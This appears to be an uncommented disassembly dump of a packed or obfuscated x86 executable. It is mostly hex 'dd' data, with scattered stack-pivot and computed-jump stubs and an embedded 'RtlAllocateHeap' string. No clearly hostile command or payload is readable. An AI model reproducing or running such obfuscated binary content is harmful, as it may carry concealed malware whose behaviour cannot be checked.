0D1ADFDF5h, 22916EB9h, 7ACFB734h, 29B723ACh dd 7A1A20ADh, 277975FDh, 3F5D987Ch, 0FFA073E6h, 0E98331CFh dd 8BA4F305h, 78BD8DDBh, 8D061B79h, 1C01B28Dh, 6644B806h dd 0CF2B3215h, 3102E9C1h, 83C8D007h, 754904C7h, 7E9F8F6h dd 0EE000000h, 0E7294760h, 5250E66Ah, 8403A3BAh, 24542973h dd 5585A04h, 738403A3h, 0F6DB8060h, 79FBD681h, 8361384Eh dd 1430B1BDh, 9750006h, 1AE1BD83h, 74000614h, 8B535019h dd 411B8C0h, 85890000h, 61430C1h, 0B7A19D8Dh, 0D3FF0616h dd 0BD83585Bh, 6141AE1h, 50177400h, 411B853h, 85890000h dd 61430C1h, 0B4429D8Dh, 0D3FF0616h, 0F60585Bh, 198Ah dd 14E900h, 26B90000h, 0D689A1D3h, 5C2231E7h, 2CFAE249h dd 0D48B6717h, 0B96657D1h, 0F61B566h, 0A89h, 5E900h, 0EC620000h dd 571DE411h, 0F889C789h, 81243C8Bh, 4C4h, 5EB56000h, 3ED78166h dd 830F6104h, 19h, 14E9h, 71EF0100h, 74942902h, 8AB4330Dh dd 0FDE05BB9h, 14A69284h, 8D8DF899h, 61C0561h, 8D89F78Ah dd 6143229h, 2820Fh, 0F2B40000h, 64D85C7h, 6B2C0614h, 2FB20000h dd 267185C7h, 614h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 416102C3h, 8B4BB4B2h dd 14083D95h, 0EBCF8106h, 0FF25A31Ah, 14220DB5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0E55A3607h, 6195FF7Ch, 89061423h, 1416218Dh, 0FF006A06h dd 14116995h, 0EBC08B06h, 0E2FB797Eh, 4FD60C4h, 3ADBCCE0h dd 0B95100C5h, 0F4022A90h, 58B9C9B2h, 7F3ED737h, 69FEB321h dd 0C25789B0h, 0A439FC54h, 0A352A0A2h, 0DD6E473Fh, 0F706A9C5h dd 1D90C27Bh, 98F5481Dh, 66FE26DAh, 0CF555421h, 0AEA7ACF1h dd 31EF4114h, 0D7AC01BAh, 0FF49E35Dh, 0C68768D3h, 17111103h dd 8C5342F2h, 26406CB5h, 7ED9A8E4h, 0B871E561h, 38B64462h dd 2A0110BFh, 0FDC48519h, 0FC05A880h, 0E8D4DEF8h, 0Ch dd 0BAE98665h, 6F1F0F09h, 0D75696BEh, 0BE8h, 59805400h dd 57C9A8B4h, 0B9781F02h, 0F6F18166h, 665A5933h, 2DD381h dd 7295C281h, 0AE90000h, 4B000000h, 546A8DCAh, 87F8CB84h dd 1C7468D6h, 81660000h, 5F7358C6h, 22459D0Bh, 32FF0614h dd 58F38B66h, 8E9h, 1A0C700h, 0E3A3565Ah, 0AAC081F7h, 0B56A45AEh dd 70F081DEh, 0B515A687h, 39C0818Bh, 8B4D4AB0h, 140E359Dh dd 0E8605006h, 0Ah, 99DA2D91h, 16F506C7h, 72B3E64Dh, 0D1858B5Fh dd 61061402h, 2956028Fh, 1430AD9Dh, 0EA815E06h, 279A39D9h dd 6830Fh, 9D230000h, 61424F5h, 39D5C281h, 0EF83279Ah dd 8B850F01h, 89FFFFFFh, 14141DB5h, 0EDE906h, 66600000h dd 4A8D88Ch, 0DF840Fh, 0B58B0000h, 6142581h, 0F00FE83h dd 2285h, 5985C600h, 4506141Ah, 72696968h, 45B5FF8Eh, 8D061411h dd 1780DB85h, 89D0FF06h, 142EF985h, 80F08B06h, 850FE93Eh dd 31h, 7F47858Dh, 0D0FF0619h, 2421BD8Bh, 0C7810614h, 1184h dd 2581B58Bh, 0F7870614h, 8B9h, 8BA4F300h, 142581B5h, 12858D06h dd 0FF0617AAh, 5DB58BD0h, 83061421h, 850F00FEh, 22h, 1A5985C6h dd 68540614h, 0FF4EBEF4h, 1145B5FFh, 858D0614h, 61780DBh dd 8589D0FFh, 614215Dh, 3E80F08Bh, 3A850FE9h, 8B000000h dd 14215DB5h, 47858D06h, 0FF06197Fh, 21BD8BD0h, 81061424h dd 1184C7h, 8C78300h, 215DB58Bh, 0F7870614h, 8B9h, 8BA4F300h dd 14215DB5h, 12858D06h, 0FF0617AAh, 8DC361D0h, 1C06B785h dd 19858906h, 0E906142Ah, 33h, 56C8E149h, 0Bh dup(0) dd 0E9000000h, 461h, 1C08F168h, 7629E906h, 6768FFF8h, 0E9061C09h dd 0FFF8761Fh, 1C0ABE68h, 7615E906h, 0BF1DFFF8h, 2D1AE00h dd 468C69BBh, 8F462375h, 0DCFBD82Ah, 62568FE1h, 0E234894Eh dd 9BEDCC05h, 53A51ABEh, 95B6076h, 896F75FDh, 9D580DEFh dd 0C5123BA2h, 973F4CF8h, 0E14DC24h, 51F1E828h, 0D5E5143Ch dd 0A92E8BF9h, 78106814h, 1D6B2A30h, 0C89F57E5h, 60B599DCh dd 0D91C09Dh, 11F339E5h, 1C58063Ch, 5D5C7946h, 8D0259B1h dd 84BF5EA9h, 80C21443h, 0D98E5A0Bh, 6F3C04F8h, 0E8CE5467h dd 0FC580656h, 0C73FA5D4h, 37000002h, 0A34F6C6Ah, 17351C4Bh dd 0E863494Fh, 9F7751F1h, 0F1E7B399h, 79FC751h, 89268CD8h dd 252B731Bh, 57E501DAh, 8BDF80A8h, 0B5286820h, 4E963AA8h dd 5E9A2148h, 0E38FB75Bh, 7DC569D7h, 72B58277h, 448CB461h dd 145C5F77h, 2318C47h, 0FAC115F2h, 1F2CE11Ch, 16240E35h dd 2B4h, 94E6D903h, 4FA11CB7h, 95B6072h, 0BE10A92Ch, 75C7F6E1h dd 0A3347C3Ch, 0E6EBC81Ah, 34A481D3h, 7A5C398Bh, 5BE3EF41h dd 0DF06F55h, 21888358h, 0A2424017h, 6814AB2Dh, 0FDE5B910h dd 0DBE0F643h, 8C34A2ACh, 4B933E44h, 0F92157EEh, 1B21E9B1h dd 580E4B35h, 0E7F22149h, 9E7BCDF0h, 0B508CF39h, 4A2B711Dh dd 0CD580E4Bh, 33D4B209h, 0D03EA497h, 23ED8E6h, 63790000h dd 0A62D0A5Ch, 0EAE8C517h, 33A27FD1h, 80573486h, 6B2EB3Dh dd 3E902DAAh, 0F7497061h, 0AF01BE1Ah, 65B704D2h, 0E5CBD159h dd 0F9580DF0h, 0A51397FEh, 0ABB1F9h, 8E57EDF0h, 9274BA66h dd 9D580DEEh, 5D2ADF7Bh, 0F4FA4279h, 580DEF0Eh, 5FCBFA22h dd 0F8D1E706h, 199F8h, 0C4120F00h, 983E4BF7h, 2F04DB23h dd 0B308CA65h, 64D0C45Ch, 0DB492535h, 5623EB33h, 8B933F7Ch dd 0F2969F85h, 0F38BB351h, 0E7ED80C4h, 335B57E5h, 0C75F4187h dd 486A5806h, 0ED4910Ah, 612AF8D9h, 41000000h, 0BF714017h dd 0ABEA4F12h, 0F21CBFA5h, 13ABD351h, 0C46CDAE4h, 37B3767Ch dd 0A98157E5h, 636BDA3h, 11A9D158h, 0F3D6F2C9h, 0B0153013h dd 9F4B6E63h, 68AE1847h, 5806D286h, 8234C60Bh, 15A563D8h dd 0F2FFAB43h, 1A30DCE1h, 8E5554F6h, 0D3E6EBB8h, 4EA0CF27h dd 0FDCE970Ch, 9B30F8D8h, 47000000h, 4BF7C412h, 7824993Eh dd 0D3A06B6Bh, 5137BD00h, 0DE51F1E8h, 0D5FDC3F8h, 5284913Dh dd 0F29E1FB4h, 9AB0029Ah, 51F1ECDAh, 0AE00BB1Bh, 74BC64D2h dd 0E6C2D56Eh, 0CF173F57h, 729D502h, 0B75CE2F2h, 87B0192Dh dd 2A1DFA30h, 74634092h, 1EA66B49h, 87713EAAh, 0E779h dd 0B30CD000h, 6E4F8461h, 28933F1Ch, 0DDDCF9D6h, 9429AE8Bh dd 1AF0942h, 0B895E7D6h, 714EA019h, 29065867h, 0B0BC0EADh dd 0F23C2228h, 5550580Dh, 43C512EEh, 59667292h, 25BD55ADh dd 0DBE0F6D3h, 4F17D089h, 0F1E86349h, 204F7751h, 4EFAC115h dd 0D4269541h, 9EE68AF8h, 0E5542D98h, 0CB133B57h, 4F353B03h dd 63580635h, 7EDF33Bh, 1B580635h, 1EB9C4F3h, 9E754D9Fh dd 3898BB8h, 2A6E9D70h, 58061748h, 0DBF309CDh, 0FB9C0AAAh dd 0D3E6EF3Ch, 0E537CF27h, 42EECF08h, 4B34h, 0A5138B00h dd 7E2A9344h, 40468E26h, 57EDF0A9h, 3E4BF71Fh, 0F4D12398h dd 0DAE24E2h, 783C975h, 4706C0FEh, 498DA7E3h, 93432072h dd 666F7C28h, 993E0B53h, 0F1207824h, 0F2903287h, 0CD1F9C3Ah dd 29D5E6F0h, 31Bh, 7DE47200h, 49F5CA12h, 75219A3Ch, 0A34F7068h dd 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh, 8733884Ah dd 0B864597Ah, 5A545233h, 4C281h, 0EA830000h, 24148704h dd 58E3685Ch, 14890000h, 66B76824h, 2C890000h, 0F7BE5624h dd 8107743Eh, 0F8793CE6h, 81D6F744h, 93CFC0F6h, 48156FDh dd 55723F24h, 0EA815A0Ch, 0C55723Fh, 2C8B545Eh, 4C48124h dd 68000000h, 28A7h, 0B9240C89h, 8, 1189E901h, 2434FF59h dd 4C4835Dh ; --------------------------------------------------------------------------- mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5509FF ; --------------------------------------------------------------------------- les eax, [esi] mov eax, 61C0BCAh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 48D3h dd 0A3712CCFh, 0D23E628Bh, 62514232h, 0E36F6FAAh, 0F6D0347Eh dd 2AB0D37h, 52085EB8h, 59082D3Bh, 0E5F0B1Fh, 0B0463E70h dd 0AFE40630h, 0ADC856ADh, 54C55F1Ah, 0FE9618F4h, 58632DAEh dd 880A7A42h, 0D8CF7E28h, 1A5C64DBh, 69A43C2Eh, 2A71104h dd 18D645BDh, 0FE050311h, 0F2DA70B1h, 86010D18h, 50CC5940h dd 978A128Eh, 8D8D536Fh, 61C0DADh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 79C35646h, 0EACB4E61h, 9997B771h dd 10E9h, 0D891D600h, 52213C4Eh, 6D024D7Ah, 0D1B81666h dd 298D8933h, 6A061432h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 7B68C355h, 0A507AB7Dh dd 0B58B67BFh, 6141725h, 31D78166h, 4D85C711h, 7C061406h dd 8B000061h, 7185C7D3h, 61426h, 0F000000h, 0B5FFC1B7h dd 6141601h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 0C35242h, 61EBE039h, 0FF4FD8C8h, 14236195h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0A5E89883h, 0C090EF3Ah, 4BF66ACh, 0FF006A06h, 14116995h dd 0EBC08B06h, 7D95BA3Eh, 0BD588FD5h, 0A58BA6D3h, 0A770987Bh dd 0F4C3ED2h, 7C87AE38h, 0B97C9533h, 861363D5h, 7EEA76FFh dd 4029768Ch, 37C50BBDh, 0E48BD7BAh, 3B5A04FFh, 6ADA047Fh dd 15D6F77Bh, 0E914ACF0h, 35h, 3C15B484h, 416C7452h, 636F6C6Ch dd 48657461h, 706165h, 140000h, 7 dup(0) dd 102FE900h, 82680000h, 0E9061C10h, 0FFF86FE7h, 1C116D68h dd 6FDDE906h, 6668FFF8h, 0E9061C13h, 0FFF86FD3h, 1C146468h dd 6FC9E906h, 0B868FFF8h, 0E9061C17h, 0FFF86FBFh, 1C184568h dd 6FB5E906h, 8468FFF8h, 0E9061C18h, 0FFF86FABh, 1C197868h dd 6FA1E906h, 1468FFF8h, 0E9061C1Ah, 0FFF86F97h, 1C1A8968h dd 6F8DE906h, 0A68FFF8h, 0E9061C1Ch, 0FFF86F83h, 1C1CF868h dd 6F79E906h, 23B9FFF8h, 666D4A9Ch, 0AA280557h, 0F3E2BF11h dd 409774C6h, 0C6F22B7Dh, 7ED0EDEAh, 378930A1h, 0EF417E5Ah dd 0A5F7C412h, 250B1199h, 39580DF6h, 0C412D73Eh, 983E4BF7h dd 6E6A7723h, 0AE50A551h, 48905DECh, 993D4877h, 0E4F3D022h dd 14C491D9h, 946C7CABh, 54ED0FC7h, 10228D99h, 0ECF726BEh dd 1D25D1EAh, 80868750h, 51F2B69Ah, 42EE86AEh, 26B0BBEAh dd 58804D95h, 3B81A67h, 1FECC4D4h, 3A7F52B2h, 6E545AA2h dd 8251F2B7h, 0B3212B5Ah, 8385E24Ch, 0A1303DC7h, 9E338018h dd 733B831Bh, 97D02CA6h, 846B50A6h, 0F03463FBh, 57E59D5Dh dd 0FBC47249h, 72385E25h, 7C8FBD1Bh, 9AC9DFE9h, 0FC42EE16h dd 5806A51Ah, 0D783369Fh, 8B409CAh, 8D6C2E92h, 0EDE6A4C6h dd 0F8D93078h, 0BE480FE6h, 0D642DA99h, 5541A7h, 13580000h dd 0E9B1F9A5h, 0F1E7FDE3h, 9CE91151h, 4C52813Ah, 0E5038346h dd 107CF57h, 5806031Bh, 3885522Fh, 0C5ED71A0h, 0C9AFB57Dh dd 0DD580602h, 0D61C86B5h, 580602F4h, 0B15D5C79h, 0E28E2FA4h dd 0EBA01D5h, 0E2A004B6h, 741638FFh, 0D9D7065Fh, 0D8F8F8h dd 170F0000h, 8733884Ah, 0C8F5E22Fh, 0BE488E99h, 575DA51Ah dd 51F1E871h, 19C55D85h, 46F2CB0Ch, 0A766713Eh, 0F1E7BBA1h dd 0FA7CF51h, 5DB40B63h, 0E380E27h, 686E79A8h, 0D3359Eh dd 0E18D25BDh, 67B902D4h, 0F2CE9051h, 0B803D351h, 0B2B78E66h dd 1F8A3357h, 0F6E0EB1Ah, 9F0D19C5h, 66A1A7EFh, 9257E5EBh dd 0EBDEC4CAh, 1AF25806h, 6EC2E14h, 821A4258h, 55A7CF53h dd 1B630B79h, 0FBC2E915h, 951795Dh, 646D9B3Ch, 0B951A955h dd 8D2EA471h, 66714E5Eh, 45C67957h, 0C3AD3895h, 0D3DB5h dd 77489400h, 328B4825h, 0ECCF03E0h, 0A118BD9Ah, 5865724Fh dd 0C5EBCD06h, 7C59AB12h, 35126455h, 0EDCA1CA3h, 7480D2E9h dd 0F800E6ECh, 1914580Dh, 0F8C512B2h, 0AE0DC9A6h, 0A513A35Ch dd 0E8ABB1F9h, 0B657E502h, 5E79468Eh, 80C6305Fh, 5806029Eh dd 5E0AB523h, 8D398051h, 169BB71Bh, 0DC6D2D4Fh, 48F4C70Fh dd 1055C1F0h, 0EEF8D9D7h, 0BDh, 0F7C41205h, 24993E4Bh dd 35A37078h, 56175B8Ah, 9E51F1EDh, 0BB706D1h, 5D7984B3h dd 0A72F0C5Eh, 0D5F5CC14h, 50CC0CA4h, 4753BDECh, 3E7476D9h dd 0C216DE6Dh, 0A1DCE22Ah, 4F57E5F2h, 8BF9D527h, 7A959BE3h dd 0E85DFBC6h, 9DA178C0h, 888F6C9Dh, 21D3C070h, 5FF776E9h dd 7A5D2A30h, 0C314F143h, 290A483Bh, 0ABF3F3D5h, 1D97BFA5h dd 13ABD35Eh, 95511435h, 7B897338h, 0C52h, 10625D7Fh, 0CB1DA033h dd 85D7E4EEh, 3A8C2DA8h, 0F1437A5Dh, 27B000B8h, 6A674496h dd 0B820FD4Fh, 0FED8B507h, 0D75F6BBDh, 0DF8EBD1h, 9D04FF58h dd 0B0F8C512h, 9DCCEFE3h, 0E026B08Dh, 0DE30C8F1h, 0F7C41225h dd 6076434Bh, 270D135Bh, 3B51F1E8h, 0FDD9E413h, 0C7946CBEh dd 7660AD10h, 0F0D21645h, 7551F1E7h, 2B085A61h, 745A60ABh dd 8851F1E8h, 0F1CC860h, 0D648F4C7h, 2AE1F1BEh, 0F1E83E24h dd 922A5251h, 0E85E444Ah, 4A7251F1h, 7889C91Bh, 243534A1h dd 0F293381Eh, 0CD244C51h, 5B8A4A16h, 0E3358650h, 0ED48C0A5h dd 0D5C79EFEh, 4CE3AC01h, 736ED403h, 85000000h, 173AA513h dd 615CD47Bh, 0E6EC34CCh, 57E55367h, 83C9759Dh, 580632A1h dd 0D3C88AACh, 0F8D9A292h, 4D6Ch, 0F6D98300h, 7E51F1E7h dd 12186010h, 57E53273h, 0AC79C1E9h, 9444912Ah, 0FECFC2Bh dd 3D49F5C8h, 83696FCFh, 97580612h, 898FD76Fh, 5DFA13DEh dd 15F2446Ch, 4450FCC3h, 1AE22AD6h, 231884Dh, 0D4723BEh dd 17699164h, 87239h, 0A5139000h, 90289144h, 33474248h dd 4D7557E5h, 13795BA1h, 62845806h, 0C2BAAB20h, 0D44F8D9h dd 5B000000h, 0F1E7F7D9h, 13E33151h, 3AFFFFFCh, 47A44017h dd 37EFE93Dh, 26D2E7EAh, 27959FCEh, 0FA292F77h, 9057E5E7h dd 9476BC68h, 9F5805E7h, 5F2CDD7Dh, 3F974376h, 0EDC1A410h dd 0F03DF8D9h, 54000004h, 12DF6AD1h, 0C2CCFBC0h, 5E64AC54h dd 57E50213h, 7B40925Fh, 0FFA0C84Ch, 0B08312E9h, 3783696Fh dd 6F975806h, 2FAE218h, 0B1CE8FD3h, 0A41201C8h, 1FECB4FCh dd 35B07B2h, 709F1CB6h, 0BEAC792Ch, 53FF2707h, 0ED35D947h dd 0D807B820h, 2CFFCCD2h, 0A9D10DD4h, 79429461h, 4B746431h dd 0A72F0C1Ch, 0BC1D3614h, 947E88BBh, 0A5986h, 5B647800h dd 16A72C09h, 0D0EBE7C4h, 8534A17Eh, 3C815633h, 0A907B1EAh dd 603D8F2Eh, 19F64871h, 0D1AE00BFh, 5864B605h, 0FAE4CAD0h dd 0FDF8580Dh, 0F7C41296h, 5F76434Bh, 0E7BEA4AAh, 0AAD251F1h dd 6BD9E312h, 4233A104h, 0D26A33DEh, 0D50D848Ah, 664357E6h dd 6EB64E6Bh, 368837A1h, 0ADFA875Eh, 0EC45031Bh, 0CD25D1EAh dd 0DDFB0635h, 7F17A62Dh, 83A78DD3h, 19FB5806h, 9F5805B4h dd 3F458D31h, 5DF9B744h, 589E4A72h, 5E1AB776h, 0A8235F81h dd 0F2C522BDh, 2341h, 0A5135800h, 7EE1FD3Ah, 0A1395669h dd 21E45359h, 0D2FA57E6h, 0D2471E26h, 701B3FEh, 2D64709Fh dd 0BB000000h, 0B1F9A513h, 6DF68CDAh, 8FDC00C4h, 72CA7649h dd 4C373D43h, 5A57E5EDh, 1C22EA32h, 5806ED36h, 0E4CB224Ah dd 39A18502h, 7D66D0FFh, 4147C412h, 51F1E85Bh, 0D1AF476Fh dd 44C1008Ch, 5B2B3923h, 76000009h, 2A075966h, 0E5C214A9h dd 9F7CCEEDh, 54318336h, 0AFE83A83h, 8D30A709h, 46735E3Bh dd 0FEC117F4h, 0B407CFACh, 0C8CE5662h, 580DFBE2h, 1794FBF6h dd 85318E4Ah, 86F4FE2Dh, 0B18C92DAh, 9F57E5EDh, 11A916C2h dd 3D7E5865h, 0EAF28F5h, 0CBDB0A62h, 4E2752B5h, 66DDA7Fh dd 7968678Bh, 39811991h, 725B9162h, 6375817Eh, 0C058B05Ch dd 37A58191h, 5F723F87h, 2756AE5Ah, 8B915921h, 7F5145A5h dd 0F5DBE1B9h, 97F5145h, 0D61A49E1h, 85446AEBh, 1825D1F9h dd 31884DBBh, 0FD6B4799h, 8030951h, 368B588Eh, 0DCF9C60Eh dd 6612AB28h, 72CA760Eh, 0B193D943h, 0BC8B798Dh, 82E3F89Ah dd 0DCC56647h, 0C4F3C60Fh, 1585Eh, 0A5137500h, 0F1E4B1F9h dd 77C41CC8h, 282E5D60h, 0E5EE4722h, 81DCB357h, 0E2EF6299h dd 0A0C84C7Bh, 0CCEFE7F4h, 0E913AD84h, 8097E0CEh, 72644151h dd 0F4579D49h, 7B7F4E8Ah, 2C31A35Dh, 66D27E10h, 3B0B22CEh dd 69E1DA63h, 689E3481h, 0CB85069h, 0E514369Ah, 51AEF9DFh dd 4DE50D7Fh, 0DD173397h, 9370C2F9h, 63307843h, 7C3F976Fh dd 34E078D0h, 0FD43ADDCh, 0A699E89Ah, 0E11B37D9h, 9774C6F5h dd 0E0C6CC3Fh, 0F4A69CE9h, 15EC34CCh, 0D62015h, 60B70FBBh dd 4C8AC1A7h, 3EA8D76Fh, 0D21ACA32h, 9D07C6CCh, 0A0F21AA6h dd 62AA56C4h, 0B40BCD9Ah, 2AC64185h, 17F4AC90h, 2A8F46BEh dd 0F68EE692h, 5D75424Ah, 0B2242F5Eh, 12DFB709h, 0F74FFBC0h dd 0A219BDC8h, 29A2B0F6h, 0D127ACB1h, 2A1D0309h, 931ACB1h dd 32CA88DAh, 0AFC517A4h, 7EE46317h, 9EE68CF9h, 61EAD0D6h dd 0D6FE2105h dd 0F7BF97A7h, 5620BF1h, 8F421F21h, 8E267E2Ah, 3982545Fh dd 9B1478Dh, 339EA54Dh, 22BA01D1h, 536A6976h, 2D6D91A7h dd 6800BB17h, 0FD0C4EB2h, 9492F35h, 0FDD6A74Dh, 0A3D2FAC0h dd 2B7D3E98h, 0EB33884Eh, 5A06B31Eh, 5D69D302h, 0F1F73FEFh dd 0AD4037D6h, 0ECCA1C44h, 6Ch, 0F9A51343h, 0EC3CABB1h dd 2A5257E5h, 2E141AE2h, 425805EDh, 2059415Bh, 45DDC3C5h dd 349FAC16h, 63744189h, 0E56AE5Ah, 6062208h, 0DF0E3658h dd 9220F7CFh, 66557DC0h, 0BF0B62BAh, 0D9EE1D84h, 97FF8635h dd 454B3137h, 68CE5806h, 36723923h, 28C0E8AEh, 0FCDCDAE0h dd 0C18E5805h, 0A1F9A514h, 6BC6EE72h, 0BCFDD8A5h, 0A289B810h dd 0A5F7C412h, 0E7D800CDh, 0AAB4E33Bh, 464C943Ch, 57E5E963h dd 0AAF22EFh, 53D7065Eh, 0C216E32Bh, 0ACEABFDh, 8FFD09B5h dd 1A9197DFh, 0CE5DF9EAh, 0B7E6D501h, 195F0B33h, 5E191937h dd 579F4FBDh, 0D1C5651h, 0B05C8464h, 2E1C886Ah, 0D1719364h dd 0B1BDABBAh, 0ADCB3ECh, 0CF7EBD5h, 23006695h, 17000000h dd 0B1F9A513h, 0E5EC3CABh, 7E2A5257h, 0C2A8AE76h, 0D65805ECh dd 48E0DFF9h, 0B5E4D7FBh, 33A9h, 0A5130000h, 1CE9B1F9h dd 977D03BCh, 0AB51F1E7h, 484E5483h, 57E50D5Dh, 455E12E9h dd 47D9A68Bh, 0B62D6C2h, 72A1DB03h, 2A1016EEh, 3E58060Eh dd 0E9D27E16h, 19F7C412h, 44C1014Eh, 77D8B75h, 0CA000006h dd 7E5BAD12h, 39166855h, 0F3D02299h, 0A885D7E2h, 33C8E2Fh dd 0E1DCFBB5h, 9A1FB28Fh, 526D6B48h, 8B32300h, 1C22AAB6h dd 580DFF36h, 0D1E84F4Ah, 0B25ECC79h, 219646Ah, 986557E5h dd 0CD518039h, 8AB004A5h, 98984ADCh, 383E862Ah, 20400E11h dd 7E7E5825h, 867B7866h, 0E28E268Dh, 22BA01D5h, 9B476FF3h dd 357D218Fh, 54803A2Fh, 0FC446C26h, 9D745D34h, 0D6544A4Dh dd 813A9CA7h, 3784522Fh, 3DD51859h, 0C7D5BF70h, 57Ah, 0E83A8557h dd 0A3F5C80Bh, 5DAF0CC6h, 12645580h, 0C91BA235h, 4F882890h dd 923F1C6Eh, 0E0F8D527h, 26B08DDFh, 0AF374395h, 0DFFC3A9h dd 75DCD758h, 19F7C412h, 44C10162h, 3B919F89h, 96000005h dd 4A277946h, 5E23489h, 0BF9CEECDh, 7451A316h, 0CF085A63h dd 0AD10C7E9h, 66537E5Bh, 1EA13714h, 0D4E7EFCCh, 0E8EE7682h dd 580E0002h, 12B41B16h, 3F4BF7C4h, 0DFE52DD1h, 57ED15E4h dd 1F9E3512h, 0EB593587h, 6B33FB43h, 0DF67F65h, 0D6AC9358h dd 0CCF037D8h, 25699830h, 5E013E66h, 28933F1Ch, 0FBD7247Ch dd 367C28C0h, 5E221E54h, 0BBC1895Fh, 5E221DD5h, 4092C1E9h dd 0B7DC8902h, 0AD22F2BDh, 1A000000h, 4338A4Dh, 0CD6CD11Dh dd 13F9FF5Fh, 0A551F1E8h, 0F1E7B99Fh, 0DFA5CD51h, 0D1D71FB7h dd 57E50186h, 378B2C54h, 0A50A342Bh, 7A1887F5h, 0AA11C5EEh dd 16A79653h, 7D30367Eh, 2B2D003Dh, 0EDF3BB03h, 2D213D07h dd 5AC4F31Bh, 0E830E04Eh, 15BE15E2h, 77BFE733h, 659429AAh dd 0C244925Fh, 0BC0EA613h, 0E6C4F7DFh, 637A2B9Fh, 47687660h dd 8A000004h, 3E1B6D52h, 0F9D62895h, 0B390E2D9h, 68459722h dd 0C3FC4E6Fh, 0A11CBBF5h, 5A5F724Fh, 12AD2B08h, 0C8F3E3C0h dd 0DCE26A76h, 580E00F6h, 17A80F0Ah, 8834894Ah, 90F50130h dd 4C000000h, 63494F17h, 7751F1E8h, 0A816204Fh, 0BFAAB0F8h dd 0CD57ED15h, 46905DA5h, 90462375h, 5737F2Bh, 1C0B1159h dd 325E0148h, 0F4FAC20Ah, 5E22280Eh, 2BADFA22h, 6190E894h dd 0D17DEBF7h, 0A21BBC89h, 40676D73h, 0D6641545h, 0AE24DAF9h dd 52697F70h, 29079F37h, 327C7066h, 0ABB5C3ADh, 26000003h dd 0DAB709B6h, 9572C4F9h, 4F2C7E3Dh, 4E13386h, 5F98EAD3h dd 3D805759h, 0F6C30EEBh, 0AE11C7A4h, 64577F5Ch, 787E0612h dd 580E0192h, 0D944ABA6h, 51F1E7F3h, 0A11AB885h, 0E84C2E72h dd 0FFD651F1h, 52196EC8h, 64E9Ch, 51F24B1Ah, 0CDD7062Eh dd 9A67AF5Fh, 4A507F3Ch, 0ED794944h, 399A7757h, 0E880D884h dd 14A72F3Ch, 0A4906336h, 0CCDAC43Eh, 336h, 2C7E419Bh dd 0E739844Fh, 0A1F3C80Ah, 56A811C4h, 0D5F5E79h, 0BCCE4D4h dd 4E8360B2h, 9C3C196Bh, 0E2F4D123h, 0F37B87D9h, 0E0207EDh dd 0B9201B58h, 4BF7C412h, 3BAD6C43h, 0A89968Eh, 663D1DBh dd 0A52EACFh, 8E747A42h, 0A251F23Eh, 3F0EF47Ah, 0FA2251F2h dd 0E8BFC5CBh, 0DE57E644h, 3EEAD101h, 24FC4EE6h, 0D3C7F57h dd 8B8F73C9h, 0C6F7E081h, 7D409774h, 0D7FCC9D1h, 40ADB7E6h dd 12874092h, 3E4BF7C4h, 0EDB2398h, 0B4C4F3C8h, 7EC66AD8h dd 0E538E578h, 7F2B5357h, 6185739h, 0C4F5DC58h, 0F1CC0B18h dd 9992E45h, 779EDB4Ah, 0BC3D5DC1h, 1CB7D3F5h, 0F8D98049h dd 3CB5h, 42D6AD00h, 361D1FE9h, 0A99C4CA3h, 6037407Dh dd 0A5134A31h, 0E8ABB1F9h, 0B657E502h, 0BA9CE28Eh, 0C5580602h dd 51B322EFh, 368E3A81h, 6B9AF29Eh, 3627919h, 0FBF8D9D7h dd 0C7h, 494F1712h, 51F1E863h, 15204F77h, 414EFAC1h, 6E7B2796h dd 9AA75368h, 0AE0BCA3Ch, 0C012AA02h, 0F1ECE9AAh, 11AA2C51h dd 0E1DAFCC9h, 9EAEDD35h, 0FAA615C1h, 88D080EEh, 0ECD4BAC0h dd 0C0E851F1h, 0ECC38B91h, 0F3E48903h, 206493F6h, 57E5C37Dh dd 0B591E30Bh, 494F9747h, 5DFB7BC6h, 219C3714h, 0B46A4189h dd 0AC6695F1h, 78454B7Ah, 2F0C5E5Fh, 467760A8h, 1B12F8FEh dd 0FE265E1Dh, 0CE1B8866h, 36203895h, 1B528h, 0FFC01C00h dd 0BA03D0ADh, 74478B68h, 29904522h, 0E0DDFAD7h, 4D63558Eh dd 4E1338Ah, 0BD9AECCDh, 7552A41Bh, 0FC085A61h, 4886E74h dd 0A19C580Eh, 8B4A173Ah, 0E3F4FF2Eh, 2BAB88DAh, 17853E90h dd 1308D4Ah, 9DE589F7h, 21070DD5h, 3551F1E8h, 0D79ADE0Dh dd 0A557E502h, 0A98BD17Dh, 2E580602h, 5A6713A8h, 7F95417Eh dd 0D0053F5Bh, 688A51E9h, 0D6B4B12Ah, 0B74AF8D9h, 61000000h dd 4BF7C412h, 8F757B43h, 0A351F1E7h, 96414C7Bh, 74357B27h dd 0BC51F1EDh, 2DD9E4EFh, 3B9BA6D5h, 6A703880h, 51F1ED84h dd 31417098h, 0F1AE8259h, 802C9345h, 0AA41D128h, 31A5B0DFh dd 64D2DE8Ah, 0CB6E74BCh, 0D757E5AFh, 8F23090Fh, 0F375806h dd 0E2345CE0h, 0A0E89806h, 0FB62769Ah, 96DE065Dh, 5DAF0EC9h dd 88665780h, 3895A625h, 0C732402Ah, 0A000000h, 0BE9BEDD2h dd 7956A815h, 33106259h, 0E8C517A2h, 437CCEEFh, 219C3B75h dd 0DADFF2CFh, 922DAB88h, 48736340h, 5C62EAF6h, 580E0476h dd 12288F8Ah, 0CEA6F8C5h, 0B9E8D701h, 4B9328AEh, 3867547Eh dd 0C4126F28h, 983E4BF7h, 87F5D123h, 0C1C78FD7h, 51F1E7DBh dd 8A506968h, 272D3362h, 57ED1650h, 4FBE5F46h, 9C5A0487h dd 88505804h, 0E7C9C82h, 46C51F58h, 0F48EF1Ch, 0D3D92149h dd 580E7EEDh, 9FAAD901h, 55328437h, 488E3A81h, 72184907h dd 0DBFCC9E1h, 2161B3E2h, 9A3BCB0Bh, 